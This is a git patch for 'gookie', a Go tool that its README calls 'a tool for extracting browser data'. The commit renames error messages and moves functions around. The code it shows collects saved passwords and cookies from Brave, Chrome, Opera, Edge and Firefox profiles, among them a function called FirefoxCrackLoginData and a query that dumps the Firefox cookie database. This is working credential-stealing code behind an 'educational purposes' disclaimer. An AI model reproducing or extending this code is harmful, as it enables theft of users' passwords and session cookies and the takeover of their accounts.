From cae60f46b04e7249b0ab4318b7415ff1cf907f1a Mon Sep 17 00:00:00 2001 From: bugrakocabay Date: Fri, 2 Jun 2023 23:32:08 +0300 Subject: [PATCH] browser done(i guess) --- .DS_Store | Bin 8196 -> 0 bytes README.md | 2 +- pkg/browser/chromium.go | 20 +++---- pkg/browser/firefox.go | 121 ++++++++++++++++++++-------------------- 4 files changed, 72 insertions(+), 71 deletions(-) delete mode 100644 .DS_Store diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index 956f8451de487278f811c86bddc86d587c02c644..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8196 zcmeI1%Z?I36oyX$4oyZA7Mie`q!YIUxrL0GO%DT$Nz}!((S;hMp=H`>x(E%jASA5E zckmV5`Xs)KEB)&-2+goDQH<6hU4M1eIaKvmeLFxztU2vhhzdkxVH27^L~)CWez9#? zO1I>p4DrN!UdTP{i56pqfFWQA7y^cXA@Da6z%yHzwd1+3dQE8v7y|z#0daq@u?cmw zE|tn#2MU=2Kr?8ThPr(DhuWe6>S$dmMGK6nP^b!JI>lf*cVH?U{f_ouDpldc zNxA%$rP7%@2U#m?9a?YPOFnZa-N`g=cE_*8-gC}F@21}MUIhNElfQq)qe(Z2{ILuO z`aWDc=wHRUKB&%60OE`MlaF7wt;*cu}sN;Ha#Pk+MC`aX0d**TJ)5RcW68fMU!L z*du|o8oMC!|Mu?R|MxgUGqfRK2>fmWEYosZO^kB$!kipX9s0uqBM41qsN;0L%LJdXeX diff --git a/README.md b/README.md index ef51734..34df0a3 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -a tool for extracting cookie data +a tool for extracting browser data ### Disclaimer: This project has been developed strictly for educational purposes. It aims to provide knowledge and insights into specific techniques for educational and research purposes only. The author strongly discourages any malicious or harmful use of the project or its associated techniques. It is crucial to respect legal and ethical boundaries, and the author bears no responsibility for any misuse or harmful activities conducted by individuals or entities using this project. diff --git a/pkg/browser/chromium.go b/pkg/browser/chromium.go index 491e771..0bc5fca 100644 --- a/pkg/browser/chromium.go +++ b/pkg/browser/chromium.go @@ -90,52 +90,52 @@ type DataBlob struct { func GetAllBrowserData() (JSONStruct, error) { bravePasswords, err := readChromiumPasswords(BravePasswordPath, BraveKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadBravePasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readBravePasswords: %v", err) } braveCookies, err := readChromiumCookies(BraveCookiesPath, BraveKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readBraveCookies: %v", err) } chromePasswords, err := readChromiumPasswords(ChromePasswordPath, ChromeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadChromePasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readChromePasswords: %v", err) } chromeCookies, err := readChromiumCookies(ChromeCookiesPath, ChromeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readChromeCookies: %v", err) } operaPasswords, err := readChromiumPasswords(OperaPasswordPath, OperaKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadOperaPasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readOperaPasswords: %v", err) } operaCookies, err := readChromiumCookies(OperaCookiesPath, OperaKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readOperaCookies: %v", err) } edgePasswords, err := readChromiumPasswords(EdgePasswordPath, EdgeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("ReadEdgePasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readEdgePasswords: %v", err) } edgeCookies, err := readChromiumCookies(EdgeCookiesPath, EdgeKeyPath) if err != nil { - return JSONStruct{}, fmt.Errorf("readChromiumCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readEdgeCookies: %v", err) } firefoxPasswords, err := ReadFirefoxPasswords() if err != nil { - return JSONStruct{}, fmt.Errorf("ReadFirefoxPasswords: %v", err) + return JSONStruct{}, fmt.Errorf("readFirefoxPasswords: %v", err) } firefoxCookies, err := ReadFirefoxCookies() if err != nil { - return JSONStruct{}, fmt.Errorf("ReadFirefoxCookies: %v", err) + return JSONStruct{}, fmt.Errorf("readFirefoxCookies: %v", err) } consolidated := JSONStruct{ diff --git a/pkg/browser/firefox.go b/pkg/browser/firefox.go index bcce9b4..f5a7bc6 100644 --- a/pkg/browser/firefox.go +++ b/pkg/browser/firefox.go @@ -12,10 +12,11 @@ import ( "encoding/json" "errors" "fmt" - "golang.org/x/crypto/pbkdf2" - "gookie/pkg/utils" "os" "path/filepath" + + "golang.org/x/crypto/pbkdf2" + "gookie/pkg/utils" ) type LoginList struct { @@ -86,6 +87,64 @@ type KeyData struct { Data []byte } +func ReadFirefoxPasswords() ([]Password, error) { + profilePath, err := getActiveProfilePath() + if err != nil { + return nil, err + } + + credentials, err := FirefoxCrackLoginData(profilePath) + if err != nil { + return nil, err + } + + return credentials, nil +} + +func ReadFirefoxCookies() ([]Cookie, error) { + profilePath, err := getActiveProfilePath() + if err != nil { + return nil, err + } + + cookiesPath := filepath.Join(profilePath, "cookies.sqlite") + + dbConn, err := sql.Open("sqlite3", fmt.Sprintf("file:%s?cache=shared&mode=ro", cookiesPath)) + if err != nil { + return nil, err + } + defer dbConn.Close() + + query := `SELECT host as Domain, expiry as Expires, isHttpOnly as HttpOnly, + name as Name, path as Path, isSecure as Secure, + value as Value FROM moz_cookies;` + rows, err := dbConn.Query(query) + if err != nil { + return nil, err + } + defer rows.Close() + + var cookies []Cookie + + for rows.Next() { + var cookie Cookie + var expires, httpOnly, secure int64 + + err = rows.Scan(&cookie.Domain, &expires, &httpOnly, &cookie.Name, + &cookie.Path, &secure, &cookie.Value) + if err != nil { + return nil, err + } + + cookie.Expires = utils.EpochToTime(expires) + cookie.HttpOnly = utils.IntToBool(httpOnly) + cookie.IsSecure = utils.IntToBool(secure) + + cookies = append(cookies, cookie) + } + return cookies, nil +} + func loadLoginsData(profilePath string) (LoginList, error) { var logins LoginList jsonData, err := os.ReadFile(filepath.Join(profilePath, "logins.json")) @@ -263,61 +322,3 @@ func getActiveProfilePath() (string, error) { return path, nil } - -func ReadFirefoxPasswords() ([]Password, error) { - profilePath, err := getActiveProfilePath() - if err != nil { - return nil, err - } - - credentials, err := FirefoxCrackLoginData(profilePath) - if err != nil { - return nil, err - } - - return credentials, nil -} - -func ReadFirefoxCookies() ([]Cookie, error) { - profilePath, err := getActiveProfilePath() - if err != nil { - return nil, err - } - - cookiesPath := filepath.Join(profilePath, "cookies.sqlite") - - dbConn, err := sql.Open("sqlite3", fmt.Sprintf("file:%s?cache=shared&mode=ro", cookiesPath)) - if err != nil { - return nil, err - } - defer dbConn.Close() - - query := `SELECT host as Domain, expiry as Expires, isHttpOnly as HttpOnly, - name as Name, path as Path, isSecure as Secure, - value as Value FROM moz_cookies;` - rows, err := dbConn.Query(query) - if err != nil { - return nil, err - } - defer rows.Close() - - var cookies []Cookie - - for rows.Next() { - var cookie Cookie - var expires, httpOnly, secure int64 - - err = rows.Scan(&cookie.Domain, &expires, &httpOnly, &cookie.Name, - &cookie.Path, &secure, &cookie.Value) - if err != nil { - return nil, err - } - - cookie.Expires = utils.EpochToTime(expires) - cookie.HttpOnly = utils.IntToBool(httpOnly) - cookie.IsSecure = utils.IntToBool(secure) - - cookies = append(cookies, cookie) - } - return cookies, nil -}